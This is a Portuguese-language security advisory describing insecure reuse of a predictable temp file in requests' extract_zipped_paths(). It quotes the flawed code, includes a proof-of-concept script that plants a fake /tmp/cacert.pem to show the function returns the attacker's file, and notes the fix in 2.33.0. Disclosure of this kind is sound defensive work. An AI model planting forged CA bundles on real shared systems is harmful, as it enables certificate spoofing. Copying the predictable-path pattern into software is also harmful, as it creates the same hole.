
Reutilização Insegura de Arquivo Temporário em extract_zipped_paths()
Uma vulnerabilidade foi identificada na biblioteca requests (Python) dentro da função utilitária pública requests.utils.extract_zipped_paths(). A função utiliza um nome de arquivo previsível e não único ao tentar extrair arquivos para o diretório temporário do sistema (/tmp) e falha em verificar a integridade ou propriedade de arquivos pré-existentes.
Embora o comportamento padrão do requests combinado com certifi seja mitigado por importlib.resources, este utilitário permanece uma armadilha de segurança para aplicações downstream ou implementações personalizadas que dependem dele para lidar com recursos zipados.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:NA função requests.utils.extract_zipped_paths() é projetada para extrair membros de um arquivo zip (frequentemente usado para pacotes de CA em ambientes zipapp). A lógica vulnerável segue estas etapas:
basename do membro do zip (por exemplo, /tmp/cacert.pem).if not os.path.exists(extracted_path) para decidir se deve extrair o arquivo.Em requests/utils.py, a lógica é implementada da seguinte forma:
# Path derivation using predictable basename
extracted_path = os.path.join(tmp, member.split("/")[-1])
# Insecure reuse of existing file
if not os.path.exists(extracted_path):
# Extraction logic only triggers if file is missing
...
# Returns path to potentially attacker-controlled file
return extracted_path
Um Atacante Local com baixos privilégios pode explorar isso pré-criando um arquivo malicioso (por exemplo, um pacote de CA forjado) no caminho previsível em /tmp. Quando uma vítima (interação do usuário necessária) executa uma aplicação que invoca este utilitário:
O script a seguir demonstra a vulnerabilidade mostrando como o utilitário reutiliza um arquivo "falso" pré-existente em vez do legítimo do arquivo.
import os
import tempfile
import zipfile
from requests import utils
# 1. Attacker Step: Pre-create a malicious file in /tmp
TMP = tempfile.gettempdir()
fake_file_path = os.path.join(TMP, "cacert.pem")
with open(fake_file_path, "wb") as f:
f.write(b"ATTACKER_MALICIOUS_DATA")
# 2. Victim Setup: A legitimate ZIP archive
zip_path = "resources.zip"
with zipfile.ZipFile(zip_path, "w") as z:
z.writestr("certs/cacert.pem", b"REAL_LEGITIMATE_DATA")
# 3. Victim Action: Calling the vulnerable utility
zipped_member_path = f"{zip_path}/certs/cacert.pem"
resolved_path = utils.extract_zipped_paths(zipped_member_path)
# 4. Confirmation
print(f"[i] Utility returned path: {resolved_path}")
with open(resolved_path, "rb") as f:
content = f.read()
print(f"[i] Content read: {content}")
if content == b"ATTACKER_MALICIOUS_DATA":
print("[!] Vulnerability Confirmed: Insecure file reuse successful.")
O problema é abordado na versão 2.33.0. A correção envolve a transição para importlib.resources para lidar com recursos zipados de forma mais segura, garantindo que as extrações ocorram em diretórios randomizados e não previsíveis e evitando a reutilização de arquivos existentes em diretórios compartilhados com permissão de escrita global.